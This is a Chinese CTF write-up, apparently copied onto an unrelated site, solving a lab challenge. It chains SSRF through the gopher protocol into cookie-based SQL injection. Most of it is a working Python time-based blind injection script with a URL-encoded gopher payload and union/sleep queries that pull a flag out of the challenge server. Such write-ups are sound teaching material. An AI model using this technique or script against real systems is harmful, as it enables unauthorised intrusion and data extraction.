[CTF/网络安全] 攻防世界 very |
您所在的位置:网站首页 › sql注入盲注脚本 › [CTF/网络安全] 攻防世界 very |
姿势
查看源代码发现use.php,访问后猜测该题为基于ssrf漏洞的sql注入:
不难判断注入点为cookie 因此我们可构造含有gopher协议的盲注脚本,通过对use.php界面发送请求来获取flag。具体实现的方法是通过构造不同的poc来进行注入攻击,并利用时间延迟判断是否成功注入。 gopher协议的相关知识点参考: [网络安全] gopher协议原理、语法及利用总结 我们先构造一个gopher协议: gopher://127.0.0.1:80/_GET /index.php HTTP/1.1 Host: localhost:80 Connection: close Content-Type: application/x-www-form-urlencoded Cookie: this_is_your_cookie={bs};将其进行URL编码后得到: gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250a Host%3A%20localhost%3A80%250d%250a Connection%3A%20close%250d%250a Content-Type%3A%20application%2fx-www-form-urlencoded%250d%250a Cookie%3A%20this%5Fis%5Fyour%5Fcookie%3D{bs}%3B%250d%250a其中%0D 和 %0A 分别表示回车符和换行符 接着构造盲注脚本: import requests import time import base64 url = "http://61.147.171.105:62477/use.php?url=" flag = "" for pos in range(1, 50): for i in range(33, 127): poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(i) + ",sleep(2),1) # " #在每次循环中,首先构造了一个poc,使用联合查询来判断特定位置的字符是否符合条件。 bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8") final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a" #然后将poc进行base64编码,并构造最终的请求URL。 t1 = time.time() res = requests.get(url + final_poc) t2 = time.time() #接着,通过发送请求并计算时间延迟来判断是否成功注入。 if (t2 - t1 > 2): flag += chr(i) print(flag) break #如果注入成功,就将满足条件的字符添加到flag中。 print(flag) #然后,遍历每个位置和每个ASCII字符,进行注入攻击并逐步构建flag。最终即可得到flag: 以上为[CTF/网络安全] 攻防世界 very_easy_sql 解题详析,考察gopher协议、ssrf漏洞sql注入、盲注脚本等姿势及知识点,读者可躬身实践。 我是秋说,我们下次见。 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |